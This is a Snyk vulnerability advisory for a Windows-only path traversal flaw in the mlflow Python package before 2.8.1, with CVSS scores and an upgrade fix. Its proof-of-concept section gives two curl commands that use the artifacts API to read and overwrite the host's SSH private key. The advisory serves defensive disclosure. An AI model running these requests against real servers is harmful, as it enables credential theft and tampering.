Improper Limitation of a Pathname to a Restricted Directory Affecting mlflow package, versions [,2.8.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.1% (43rd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-MLFLOW-6067567
  • published 17 Nov 2023
  • disclosed 16 Nov 2023
  • credit haxatron

How to fix?

Upgrade mlflow to version 2.8.1 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory due to checks bypass in handlers.py. An attacker can break out of the root directory on Windows, being able to read or write sensitive data from the host (which can include the SSH key).

Note:

This issue is only exploitable on Windows OS.

PoC

curl -vv "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"
curl -X PUT --data-binary test "http://127.0.0.1:5000/api/2.0/mlflow-artifacts/artifacts/C:../.ssh/id_rsa"

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
7.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Changed
  • Confidentiality (C)
    Low
  • Integrity (I)
    Low
  • Availability (A)
    None
Expand this section

NVD

7.5 high